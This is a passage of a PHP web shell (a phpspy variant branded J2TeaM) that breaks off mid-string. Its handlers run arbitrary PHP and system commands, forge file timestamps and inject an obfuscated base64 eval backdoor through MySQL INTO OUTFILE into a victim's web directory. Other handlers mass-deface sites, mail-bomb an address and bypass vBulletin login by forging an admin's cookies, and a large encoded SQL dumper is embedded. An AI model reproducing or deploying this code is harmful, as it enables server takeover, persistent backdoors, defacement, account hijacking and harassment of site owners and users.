1253 echo '</textarea></p>';
1254 formfoot();
1255}
1256elseif ($action == 'eval') {
1257 $phpcode = trim($phpcode);
1258 formhead(array('title'=>'Eval PHP Code'));
1259 makehide('action', $action);
1260 if($phpcode){
1261 if ( ! preg_match('#<\?#si', $phpcode)) $phpcode = "<?php\n\n{$phpcode}\n\n?>";
1262 p('Result:<br />');
1263 if ($opt) p('<textarea rows="10" cols="100">');
1264 eval("?".">{$phpcode}<?");
1265 if ($opt) p('</textarea>');
1266 }
1267 maketext(array('title'=>'PHP Code', 'rows'=>15, 'name'=>'phpcode', 'value'=>$phpcode, 'extra'=>'required'));
1268 makeinput(array('type'=>'checkbox', 'name'=>'opt', 'value'=>1, 'extra'=>'checked'));
1269 p('Display result in textarea<p>');
1270 makeinput(array('type'=>'submit', 'value'=>'Execute'));
1271 p('===> ' . $J2TeaM->get_url('http://www.4ngel.net/phpspy/plugin/', 'Get plugins', '#FF0', '_blank') . '</p>');
1272 formfoot();
1273} //end eval
1274
1275elseif ($action == 'editfile') {
1276 if(file_exists($opfile)) {
1277 $fp=@fopen($opfile,'r');
1278 $contents=@fread($fp, filesize($opfile));
1279 @fclose($fp);
1280 $contents=htmlspecialchars($contents);
1281 }
1282 formhead(array('title'=>'Create / Edit File'));
1283 makehide('action', 'file');
1284 makehide('dir', $nowpath);
1285 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
1286 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
1287 formfooter('Save');
1288} //end editfile
1289
1290elseif ($action == 'newtime') {
1291 $opfilemtime = @filemtime($opfile);
1292 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
1293 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
1294 formhead(array('title'=>'Clone file was last modified time'));
1295 makehide('action','file');
1296 makehide('dir',$nowpath);
1297 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1298 makeinput(array('title'=>'Reference file (full path)','name'=>'tarfile','size'=>120,'newline'=>1));
1299 formfooter();
1300 formhead(array('title'=>'Set last modified'));
1301 makehide('action','file');
1302 makehide('dir',$nowpath);
1303 makeinput(array('title'=>'Current file (full path)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1304 p('<p>Instead »');
1305 p('year:');
1306 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
1307 p('month:');
1308 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
1309 p('day:');
1310 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
1311 p('hour:');
1312 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
1313 p('minute:');
1314 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
1315 p('second:');
1316 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
1317 p('</p>');
1318 formfooter('Save');
1319} //end newtime
1320
1321elseif ($action == 'shell') {
1322 if (IS_WIN && IS_COM) {
1323 if($program && $parameter) {
1324 $shell= new COM('Shell.Application');
1325 $a = $shell->ShellExecute($program,$parameter);
1326 alert('Program run has '.(!$a ? 'success' : 'fail'));
1327 }
1328 !$program && $program = 'c:\windows\system32\cmd.exe';
1329 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
1330 formhead(array('title'=>'Execute Program'));
1331 makehide('action', $action);
1332 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
1333 p('<p>');
1334 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
1335 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1336 p('</p>');
1337 formfoot();
1338 }
1339 formhead(array('title'=>'Execute Command'));
1340 makehide('action', $action);
1341 if (IS_WIN && IS_COM) {
1342 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
1343 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
1344 }
1345 p('<p>');
1346 makeinput(array('title'=>'Command','name'=>'command','value'=>$command, 'extra'=>'required'));
1347 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1348 p('</p>');
1349 formfoot();
1350 if ($command) {
1351 p('<hr width="100%" noshade /><pre>');
1352 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
1353 $wsh = new COM('WScript.shell');
1354 $exec = $wsh->exec('cmd.exe /c '.$command);
1355 $stdout = $exec->StdOut();
1356 $stroutput = $stdout->ReadAll();
1357 echo $stroutput;
1358 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
1359 $descriptorspec = array(
1360 0 => array('pipe', 'r'),
1361 1 => array('pipe', 'w'),
1362 2 => array('pipe', 'w')
1363 );
1364 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1365 if (is_resource($process)) {
1366 fwrite($pipes[0], $command."\r\n");
1367 fwrite($pipes[0], "exit\r\n");
1368 fclose($pipes[0]);
1369 while ( ! feof($pipes[1])) {
1370 echo fgets($pipes[1], 1024);
1371 }
1372 fclose($pipes[1]);
1373 while ( ! feof($pipes[2])) {
1374 echo fgets($pipes[2], 1024);
1375 }
1376 fclose($pipes[2]);
1377 proc_close($process);
1378 }
1379 } else echo(execute($command));
1380 p('</pre>');
1381 }
1382} //end shell
1383
1384elseif ($action == 'phpenv') {
1385 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
1386 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
1387 !$dis_func && $dis_func = 'No';
1388 $info = array(
1389 1 => array('Server Time',date('d/m/Y H:i:s',$timestamp)),
1390 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
1391 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
1392 4 => array('Server OS',PHP_OS),
1393 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
1394 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
1395 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
1396 8 => array('PHP run mode',strtoupper(php_sapi_name())),
1397 9 => array('The file path',__FILE__),
1398 10 => array('PHP Version',PHP_VERSION),
1399 11 => array('PHPINFO',(IS_PHPINFO ? $J2TeaM->get_url("javascript:goaction('phpinfo');", 'Yes', '#FF0') : 'No')),
1400 12 => array('Safe Mode',getcfg('safe_mode')),
1401 13 => array('Administrator',$adminmail),
1402 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
1403 15 => array('enable_dl',getcfg('enable_dl')),
1404 16 => array('display_errors',getcfg('display_errors')),
1405 17 => array('register_globals',getcfg('register_globals')),
1406 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
1407 19 => array('memory_limit',getcfg('memory_limit')),
1408 20 => array('post_max_size',getcfg('post_max_size')),
1409 21 => array('upload_max_filesize',$upsize),
1410 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
1411 23 => array('disable_functions', $dis_func),
1412 );
1413 if($phpvarname) alert($phpvarname .' : '.getcfg($phpvarname));
1414 formhead(array('title'=>'Server environment'));
1415 makehide('action', $action);
1416 makeinput(array('title'=>'Please input PHP configuration parameter (eg: magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1, 'extra'=>'required'));
1417 formfooter('Check');
1418 $hp = array(0=> 'Server', 1=> 'PHP');
1419 for($a=0;$a<2;$a++) {
1420 p('<h2>'.$hp[$a].' »</h2>');
1421 p('<ul class="info">');
1422 if ($a==0) {
1423 for($i=1;$i<=9;$i++) {
1424 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1425 }
1426 } elseif ($a == 1) {
1427 for($i=10;$i<=23;$i++) {
1428 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1429 }
1430 }
1431 p('</ul>');
1432 }
1433} //end phpenv
1434
1435elseif ($action == 'encrypt') {
1436 formhead(array('title'=>'Encryption'));
1437 makehide('action', $action);
1438 p('<p>Input');
1439 makeinput(array('name'=>'txtInput', 'value'=>$txtInput, 'size'=>70, 'extra'=>'required'));
1440 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Encrypt'));
1441 p('</p>');
1442 if ($txtInput && $txtInput != '') {
1443 $br = "\n\n";
1444 $out = 'MD5: ' . md5($txtInput) . $br;
1445 $out .= 'SHA-1: ' . sha1($txtInput) . $br;
1446 $out .= 'Crypt: ' . crypt($txtInput) . $br;
1447 $out .= 'CRC32: ' . crc32($txtInput) . $br;
1448 $out .= 'Bin2Hex: ' . bin2hex($txtInput) . $br;
1449 $out .= 'ROT13: ' . str_rot13($txtInput) . $br;
1450 $out .= 'Base64: ' . base64_encode($txtInput);
1451 p('<h2>Result</h2><textarea cols="84" rows="14">' . $out . '</textarea>');
1452 }
1453 formfoot();
1454} // Encryption
1455
1456elseif ($action == 'enc_dec') {
1457 if ($txtCode && $txtCode != '') {
1458 if ($encode) {
1459 if ($type == 0) $txtCode = urlencode($txtCode);
1460 elseif ($type == 1) $txtCode = rawurlencode($txtCode);
1461 elseif ($type == 2) $txtCode = base64_encode($txtCode);
1462 elseif ($type == 3) $txtCode = json_encode($txtCode);
1463 elseif ($type == 4) $txtCode = htmlentities($txtCode);
1464 else $txtCode = htmlspecialchars($txtCode);
1465 } else {
1466 if ($type == 0) $txtCode = urldecode($txtCode);
1467 elseif ($type == 1) $txtCode = rawurldecode($txtCode);
1468 elseif ($type == 2) $txtCode = base64_decode($txtCode);
1469 elseif ($type == 3) $txtCode = json_decode($txtCode);
1470 elseif ($type == 4) $txtCode = html_entity_decode($txtCode);
1471 else $txtCode = htmlspecialchars_decode($txtCode);
1472 }
1473 }
1474 formhead(array('title'=>'Encode - Decode'));
1475 makehide('action', $action);
1476 maketext(array('title'=>'Input','name'=>'txtCode', 'value'=>$txtCode, 'extra'=>'required'));
1477 makeselect(array(
1478 'title' => 'Select type',
1479 'name' => 'type',
1480 'option' => array('URL', 'RAW URL', 'Base64', 'JSON', 'HTML Entities', 'HTML Specialchars'),
1481 'selected' => (isset($type)) ? $type : 2
1482 ));
1483 makeinput(array('name'=>'encode','class'=>'bt','type'=>'submit','value'=>'Encode'));
1484 makeinput(array('name'=>'decode','class'=>'bt','type'=>'submit','value'=>'Decode'));
1485 formfoot();
1486} // Base64 Encode-Decode
1487
1488elseif ($action == 'inject_shell') {
1489 !$dbhost && $dbhost = 'localhost';
1490 !$dbuser && $dbuser = 'root';
1491 !$dbport && $dbport = '3306';
1492 !$shell_code && $shell_code = <<<CODE
1493<?php eval(gzinflate(base64_decode('bZFfa4MwFMWfK/gdboM0LWyVPS/awej+QMcG7Z5skUwjhkUTNJaN0u++G2WysT0EvPF3zrmHrGK2MqXxPVnAXLatsPMgvV/vEppreljAbAY/ZogioErznC587+R7k6CQSrQQwU2Q3j1u1tuE9jf0cI1/ZTEfgITWvBKon6LeaSdOjOpOKcNtiQZB+vK8xRg30sPyt86ZObdKH0XaGbeByFOHjAG2MukAX4y2C5c0EVmpgbDyKmYcykYU0Z6cRua8J/Gtktk7lKIRUxbymIXIEpd5xiNUK6D3YIw97J42vscK3VRQCVvqPCJGt5aAqDP7aUREqk5ZaXhjQ0dd5txyAjyzUtcRITE6MlmbzsKAW/GBarc5OuE+BI5cdTgsQwLhH9y1/cb75v9BbfdWSTs6vZoBYv1G+OFaYD1st8Ln/wI=')));
1494CODE;
1495 if ($shell_path && $shell_code) {
1496 dbconn($dbhost, $dbuser, $dbpass);
1497 q("DROP DATABASE IF EXISTS j2team_sh");
1498 q("CREATE DATABASE j2team_sh");
1499 mysql_select_db('j2team_sh');
1500 q("CREATE TABLE IF NOT EXISTS `php` (`code` text NOT NULL)");
1501 $shell_code = addslashes($shell_code);
1502 q("INSERT INTO `php`(`code`) VALUES ('{$shell_code}')");
1503 if ( ! preg_match('/\.[A-z]{2,3}$/si', $shell_path)) $shell_path .= '/j2team.php';
1504 if (file_exists($shell_path)) $shell_path .= 'j2team_' . rand(100, 999) . '.php';
1505 if ( ! q("SELECT `code` FROM `php` INTO OUTFILE '{$shell_path}'")) alert('Inject shell code failed. Please try again!');
1506 else alert('Inject shell successful: ' . $shell_path);
1507 //q("DROP DATABASE j2team_sh");
1508 }
1509 formhead(array('title'=>'Shell Injector'));
1510 makehide('action', $action);
1511 p('<p>');
1512 p('Host:');
1513 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
1514 p(':');
1515 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
1516 p('User:');
1517 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
1518 p('Password:');
1519 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
1520 p('</p>');
1521 p('Path:');
1522 makeinput(array('name'=>'shell_path', 'value'=>($shell_path) ? $shell_path : '/home/user_victim/public_html/', 'size'=>81, 'extra'=>'required'));
1523 maketext(array('name'=>'shell_code', 'title'=>'Shell Code', 'value'=>$shell_code, 'extra'=>'required'));
1524 formfooter('Inject Shell');
1525} // Inject Shell
1526
1527elseif ($action == 'mass_df') {
1528 if ($path && $name && $code) alert($J2TeaM->mass_deface($path, $name, $code));
1529 formhead(array('title'=>'Mass Deface'));
1530 makehide('action', $action);
1531 p('<p>');
1532 p('Path:');
1533 makeinput(array('name'=>'path', 'value'=>SA_ROOT, 'size'=>58, 'extra'=>'required'));
1534 p('File name:');
1535 makeinput(array('name'=>'name', 'value'=>'J2TeaM.txt', 'size'=>28));
1536 p('</p>');
1537 maketext(array('name'=>'code', 'title'=>'Code', 'rows'=>15, 'value'=>'Checked by Juno_okyo - J2TeaM.'));
1538 formfooter('Mass Deface');
1539} // Mass Deface
1540
1541elseif ($action == 'mail_boom') {
1542 if (check_str($disable_functions, 'mail,')) alert('Error: function mail() has been disable.');
1543 else
1544 {
1545 if ($address && $subject && $message && $number) alert($J2TeaM->boom_mail($address, $subject, $message, $number));
1546 formhead(array('title'=>'Mail Boomber'));
1547 makehide('action', $action);
1548 p('<p>');
1549 p('Address:');
1550 makeinput(array('name'=>'address', 'size'=>40, 'type'=>'email', 'extra'=>'placeholder="example@yahoo.com" required'));
1551 p('Subject:');
1552 makeinput(array('name'=>'subject', 'size'=>50, 'extra'=>'placeholder="I am Juno_okyo" required'));
1553 maketext(array('name'=>'message', 'rows'=>15, 'cols'=>105, 'title'=>'Message', 'extra'=>'required'));
1554 p('Number for send:');
1555 makeinput(array('name'=>'number', 'size'=>5, 'value'=>1, 'extra'=>'required'));
1556 makeinput(array('name'=>'submit', 'type'=>'submit', 'value'=>'Send'));
1557 p('</p>');
1558 formfoot();
1559 }
1560} // Mail Boomber
1561
1562elseif ($action == 'time_changer') {
1563 if ($path && $time) {
1564 if ( ! file_exists($path)) alert('File/Folder was not found?');
1565 else {
1566 if (preg_match('/^\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}$/i', $time)) alert($J2TeaM->change_time($path, strtotime($time)));
1567 else alert('Error: Your time is invalid.');
1568 }
1569 }
1570 formhead(array('title' => 'Date Modified - Time Changer'));
1571 makehide('action', $action);
1572 p('<p>Path:');
1573 makeinput(array('name' => 'path', 'size' => 50, 'value' => $_SERVER['SCRIPT_FILENAME'], 'extra' => 'required'));
1574 p('Date Modified:');
1575 makeinput(array('name' => 'time', 'size' => 25, 'value' => date('Y-m-d h:m:s'), 'extra' => 'required'));
1576 makeinput(array('name' => 'submit', 'type'=>'submit', 'value' => 'Change'));
1577 p('</p>');
1578 formfoot();
1579} // Time Changer
1580
1581elseif ($action == 'vbb_login') {
1582 if ($global && $functions_login && $username) {
1583 if ( ! file_exists($global) OR ! file_exists($functions_login)) alert('Error: global.php or functions_login.php was not found.');
1584 else {
1585 define('THIS_SCRIPT', 'login');
1586 require_once($global);
1587 require_once($functions_login);
1588 $vbulletin->userinfo = $vbulletin->db->query_first("SELECT userid,usergroupid, membergroupids, infractiongroupids, username, password, salt FROM " . TABLE_PREFIX . "user WHERE username = '" . $username . "'");
1589 if ( ! $vbulletin->userinfo['userid']) alert('Invalid username!');
1590 else {
1591 vbsetcookie('userid', $vbulletin->userinfo['userid'], true, true, true);
1592 vbsetcookie('password', md5($vbulletin->userinfo['password'] . COOKIE_SALT), true, true, true);
1593 process_new_login('cplogin', TRUE, TRUE);
1594 //do_login_redirect();
1595 alert('Success: You was logged as ' . $username);
1596 }
1597 }
1598 }
1599 formhead(array('title' => 'vBulletin Bypass Login'));
1600 makehide('action', $action);
1601 p('<p>Require 1:');
1602 makeinput(array('name' => 'global', 'value' => './global.php', 'size' => 50, 'extra' => 'required'));
1603 p('</p><p>Require 2:');
1604 makeinput(array('name' => 'functions_login', 'value' => './includes/functions_login.php', 'size' => 50, 'extra' => 'required'));
1605 p('</p><p>Username:');
1606 makeinput(array('name' => 'username', 'value' => 'admin', 'size' => 30, 'extra' => 'required'));
1607 makeinput(array('name'=>'submit', 'type'=>'submit', 'value' => 'Login as User'));
1608 p('</p>');
1609 formfoot();
1610}
1611
1612elseif ($action == 'sql_dumper') {
1613 if (check_str($disable_functions, 'fopen')) alert('Error: fopen() has been disabled.');
1614 else {
1615 if ($rm_temp && $rm_temp == 'yes') {
1616 deltree(SA_ROOT . 'J2T_01');
1617 header('Location: ' . SELF);
1618 exit;
1619 }
1620 formhead(array('title' => 'SQL Dumper Lite'));
1621 makehide('action', $action);
1622 makehide('rm_temp', 'yes');
1623 $code = 'PD9waHANCmRlZmluZSgnUEFUSCcsICdzYW9sdXUvJyk7DQpkZWZpbmUoJ1VSTCcsICAnc2FvbHV1LycpOw0KZGVmaW5lKCdUSU1FX0xJTUlUJywgNjAwKTsNCmRlZmluZSgnTElNSVQnLCAxKTsNCmRlZmluZSgnREJIT1NUJywgJ2xvY2FsaG9zdDozMzA2Jyk7DQpkZWZpbmUoJ0RCTkFNRVMnLCAnJyk7DQpkZWZpbmUoJ0NIQVJTRVQnLCAnYXV0bycpOw0KZGVmaW5lKCdSRVNUT1JFX0NIQVJTRVQnLCAnbGF0aW4xJyk7DQpkZWZpbmUoJ1NDJywgMSk7DQpkZWZpbmUoJ09OTFlfQ1JFQVRFJywgJ01SR19NeUlTQU0sTUVSR0UsSEVBUCxNRU1PUlknKTsNCmRlZmluZSgnR1MnLCAxKTsNCiRpc19zYWZlX21vZGUgPSBpbmlfZ2V0KCdzYWZlX21vZGUnKSA9PSAnMScgPyAxIDogMDsNCmlmICghJGlzX3NhZmVfbW9kZSAmJiBmdW5jdGlvbl9leGlzdHMoJ3NldF90aW1lX2xpbWl0JykpIHNldF90aW1lX2xpbWl0KFRJTUVfTElNSVQpOw0KJHRpbWVyID0gYXJyYXlfc3VtKGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSkpOw0Kb2JfaW1wbGljaXRfZmx1c2goKTsNCmVycm9yX3JlcG9ydGluZyhFX0FMTCk7DQokYXV0aCA9IDA7DQokZXJyb3IgPSAnJzsNCmlmICghZW1wdHkoJF9QT1NUWydsb2dpbiddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkpIHsNCmlmIChAbXlzcWxfY29ubmVjdChEQkhPU1QsICRfUE9TVFsnbG9naW4nXSwgJF9QT1NUWydwYXNzJ10pKXsNCnNldGNvb2tpZSgic3hkIiwgYmFzZTY0X2VuY29kZSgiU0tEMTAxOnskX1BPU1RbJ2xvZ2luJ119OnskX1BPU1RbJ3Bhc3MnXX0iKSk7DQpoZWFkZXIoIkxvY2F0aW9uOiAiLiRfU0VSVkVSWydQSFBfU0VMRiddKTsNCm15c3FsX2Nsb3NlKCk7DQpleGl0Ow0KfQ0KZWxzZXsNCiRlcnJvciA9ICcjJyAuIG15c3FsX2Vycm5vKCkgLiAnOiAnIC4gbXlzcWxfZXJyb3IoKTsNCn0NCn0NCmVsc2VpZiAoIWVtcHR5KCRfQ09PS0lFWydzeGQnXSkpIHsNCiR1c2VyID0gZXhwbG9kZSgiOiIsIGJhc2U2NF9kZWNvZGUoJF9DT09LSUVbJ3N4ZCddKSk7DQppZiAoQG15c3FsX2Nvbm5lY3QoREJIT1NULCAkdXNlclsxXSwgJHVzZXJbMl0pKXsNCiRhdXRoID0gMTsNCn0NCmVsc2V7DQokZXJyb3IgPSAnIycgLiBteXNxbF9lcnJubygpIC4gJzogJyAuIG15c3FsX2Vycm9yKCk7DQp9DQp9DQppZiAoISRhdXRoIHx8IChpc3NldCgkX1NFUlZFUlsnUVVFUllfU1RSSU5HJ10pICYmICRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSA9PSAncmVsb2FkJykpIHsNCnNldGNvb2tpZSgnc3hkJywgJycsIHRpbWUoKSAtIDM2MDApOw0KZWNobyB0cGxfcGFnZSh0cGxfYXV0aCgkZXJyb3IgPyB0cGxfZXJyb3IoJGVycm9yKSA6ICcnKSwgIjxTQ1JJUFQ+aWYgKGpzRW5hYmxlZCkge2RvY3VtZW50LndyaXRlKCc8SU5QVVQgVFlQRT1zdWJtaXQgVkFMVUU9TG9naW4+Jyk7fTwvU0NSSVBUPiIpOw0KZWNobyAiPFNDUklQVD5kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndGltZXInKS5pbm5lckhUTUwgPSAnIiAuIHJvdW5kKGFycmF5X3N1bShleHBsb2RlKCcgJywgbWljcm90aW1lKCkpKSAtICR0aW1lciwgNCkgLiAiIHNlYy4nPC9TQ1JJUFQ+IjsNCmV4aXQ7DQp9DQppZiAoIWZpbGVfZXhpc3RzKFBBVEgpICYmICEkaXNfc2FmZV9tb2RlKSB7DQpta2RpcihQQVRILCAwNzc3KSB8fCB0cmlnZ2VyX2Vycm9yKCJVbmFibGUgdG8gY3JlYXRlIGEgZGlyZWN0b3J5IGZvciBwcmludGVyICIsIEVfVVNFUl9FUlJPUik7DQp9DQokU0sgPSBuZXcgZHVtcGVyKCk7DQpkZWZpbmUoJ0NfREVGQVVMVCcsIDEpOw0KZGVmaW5lKCdDX1JFU1VMVCcsIDIpOw0KZGVmaW5lKCdDX0VSUk9SJywgMyk7DQpkZWZpbmUoJ0NfV0FSTklORycsIDQpOw0KJGFjdGlvbiA9IGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pID8gJF9SRVFVRVNUWydhY3Rpb24nXSA6ICcnOw0Kc3dpdGNoKCRhY3Rpb24pew0KY2FzZSAnYmFja3VwJzoNCiRTSy0+YmFja3VwKCk7DQpicmVhazsNCmNhc2UgJ3Jlc3RvcmUnOg0KJFNLLT5yZXN0b3JlKCk7DQpicmVhazsNCmRlZmF1bHQ6DQokU0stPm1haW4oKTsNCn0NCm15c3FsX2Nsb3NlKCk7DQplY2hvICI8U0NSSVBUPmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0aW1lcicpLmlubmVySFRNTCA9ICciIC4gcm91bmQoYXJyYXlfc3VtKGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSkpIC0gJHRpbWVyLCA0KSAuICIgc2VjLic8L1NDUklQVD4iOw0KY2xhc3MgZHVtcGVyIHsNCmZ1bmN0aW9uIGR1bXBlcigpIHsNCmlmIChmaWxlX2V4aXN0cyhQQVRIIC4gImR1bXBlci5jZmcucGhwIikpIHsNCmluY2x1ZGUoUEFUSCAuICJkdW1wZXIuY2ZnLnBocCIpOw0KfQ0KZWxzZXsNCiR0aGlzLT5TRVRbJ2xhc3RfYWN0aW9uJ10gPSAwOw0KJHRoaXMtPlNFVFsnbGFzdF9kYl9iYWNrdXAnXSA9ICcnOw0KJHRoaXMtPlNFVFsndGFibGVzJ10gPSAnJzsNCiR0aGlzLT5TRVRbJ2NvbXBfbWV0aG9kJ10gPSAyOw0KJHRoaXMtPlNFVFsnY29tcF9sZXZlbCddICA9IDc7DQokdGhpcy0+U0VUWydsYXN0X2RiX3Jlc3RvcmUnXSA9ICcnOw0KfQ0KJHRoaXMtPnRhYnMgPSAwOw0KJHRoaXMtPnJlY29yZHMgPSAwOw0KJHRoaXMtPnNpemUgPSAwOw0KJHRoaXMtPmNvbXAgPSAwOw0KLy8gTXlTUUwgdHlwZSA0MDEwMQ0KcHJlZ19tYXRjaCgiL14oXGQrKVwuKFxkKylcLihcZCspLyIsIG15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLCAkbSk7DQokdGhpcy0+bXlzcWxfdmVyc2lvbiA9IHNwcmludGYoIiVkJTAyZCUwMmQiLCAkbVsxXSwgJG1bMl0sICRtWzNdKTsNCiR0aGlzLT5vbmx5X2NyZWF0ZSA9IGV4cGxvZGUoJywnLCBPTkxZX0NSRUFURSk7DQokdGhpcy0+Zm9yY2VkX2NoYXJzZXQgID0gZmFsc2U7DQokdGhpcy0+cmVzdG9yZV9jaGFyc2V0ID0gJHRoaXMtPnJlc3RvcmVfY29sbGF0ZSA9ICcnOw0KaWYgKHByZWdfbWF0Y2goIi9eKGZvcmNlZC0+KT8oKFthLXowLTldKykoXF9cdyspPykkLyIsIFJFU1RPUkVfQ0hBUlNFVCwgJG1hdGNoZXMpKSB7DQokdGhpcy0+Zm9yY2VkX2NoYXJzZXQgID0gJG1hdGNoZXNbMV0gPT0gJ2ZvcmNlZC0+JzsNCiR0aGlzLT5yZXN0b3JlX2NoYXJzZXQgPSAkbWF0Y2hlc1szXTsNCiR0aGlzLT5yZXN0b3JlX2NvbGxhdGUgPSAhZW1wdHkoJG1hdGNoZXNbNF0pID8gJyBDT0xMQVRFICcgLiAkbWF0Y2hlc1syXSA6ICcnOw0KfQ0KfQ0KZnVuY3Rpb24gYmFja3VwKCkgew0KaWYgKCFpc3NldCgkX1BPU1QpKSB7JHRoaXMtPm1haW4oKTt9DQpzZXRfZXJyb3JfaGFuZGxlcigiU1hEX2Vycm9ySGFuZGxlciIpOw0KJGJ1dHRvbnMgPSAiPEEgSUQ9c2F2ZSBIUkVGPScnIFNUWUxFPSdkaXNwbGF5OiBub25lOyc+RG93bmxvYWQgRmlsZTwvQT4gJm5ic3A7IDxJTlBVVCBJRD1iYWNrIFRZUEU9YnV0dG9uIFZBTFVFPSdUciYjNzkwMzsgViYjNzg3MzsnIERJU0FCTEVEIG9uQ2xpY2s9XCJoaXN0b3J5LmJhY2soKTtcIj4iOw0KZWNobyB0cGxfcGFnZSh0cGxfcHJvY2VzcygiWGluIHZ1aSBsJm9ncmF2ZTtuZyBjaCYjNzkwMTsgJiMyNzM7JiM3OTA3O2kgdHJvbmcgZ2kmYWNpcmM7eSBsJmFhY3V0ZTt0Li4uICIpLCAkYnV0dG9ucyk7DQokdGhpcy0+U0VUWydsYXN0X2FjdGlvbiddICAgICA9IDA7DQokdGhpcy0+U0VUWydsYXN0X2RiX2JhY2t1cCddICA9IGlzc2V0KCRfUE9TVFsnZGJfYmFja3VwJ10pID8gJF9QT1NUWydkYl9iYWNrdXAnXSA6ICcnOw0KJHRoaXMtPlNFVFsndGFibGVzX2V4Y2x1ZGUnXSAgPSAhZW1wdHkoJF9QT1NUWyd0YWJsZXMnXSkgJiYgJF9QT1NUWyd0YWJsZXMnXXswfSA9PSAnXicgPyAxIDogMDsNCiR0aGlzLT5TRVRbJ3RhYmxlcyddICAgICAgICAgID0gaXNzZXQoJF9QT1NUWyd0YWJsZXMnXSkgPyAkX1BPU1RbJ3RhYmxlcyddIDogJyc7DQokdGhpcy0+U0VUWydjb21wX21ldGhvZCddICAgICA9IGlzc2V0KCRfUE9TVFsnY29tcF9tZXRob2QnXSkgPyBpbnR2YWwoJF9QT1NUWydjb21wX21ldGhvZCddKSA6IDA7DQokdGhpcy0+U0VUWydjb21wX2xldmVsJ10gICAgICA9IGlzc2V0KCRfUE9TVFsnY29tcF9sZXZlbCddKSA/IGludHZhbCgkX1BPU1RbJ2NvbXBfbGV2ZWwnXSkgOiAwOw0KJHRoaXMtPmZuX3NhdmUoKTsNCiR0aGlzLT5TRVRbJ3RhYmxlcyddICAgICAgICAgID0gZXhwbG9kZSgiLCIsICR0aGlzLT5TRVRbJ3RhYmxlcyddKTsNCmlmICghZW1wdHkoJF9QT1NUWyd0YWJsZXMnXSkpIHsNCmZvcmVhY2goJHRoaXMtPlNFVFsndGFibGVzJ10gQVMgJHRhYmxlKXsNCiR0YWJsZSA9IHByZWdfcmVwbGFjZSgiL1teXHcqP15dLyIsICIiLCAkdGFibGUpOw0KJHBhdHRlcm4gPSBhcnJheSggIi9cPy8iLCAiL1wqLyIpOw0KJHJlcGxhY2UgPSBhcnJheSggIi4iLCAiLio/Iik7DQokdGJsc1tdID0gcHJlZ19yZXBsYWNlKCRwYXR0ZXJuLCAkcmVwbGFjZSwgJHRhYmxlKTsNCn0NCn0NCmVsc2V7DQokdGhpcy0+U0VUWyd0YWJsZXNfZXhjbHVkZSddID0gMTsNCn0NCmlmICgkdGhpcy0+U0VUWydjb21wX2xldmVsJ10gPT0gMCkgew0KJHRoaXMtPlNFVFsnY29tcF9tZXRob2QnXSA9IDA7DQp9DQokZGIgPSAkdGhpcy0+U0VUWydsYXN0X2RiX2JhY2t1cCddOw0KaWYgKCEkZGIpIHsNCmVjaG8gdHBsX2woIkVSUk9SISBObyBkYXRhYmFzZSEiLCBDX0VSUk9SKTsNCmVjaG8gdHBsX2VuYWJsZUJhY2soKTsNCmV4aXQ7DQp9DQplY2hvIHRwbF9sKCImIzI3MjthbmcgayYjNzg3MTt0IG4mIzc4ODk7aSBjJiM0MTc7IHMmIzc5MDM7IGQmIzc5MTk7IGxpJiM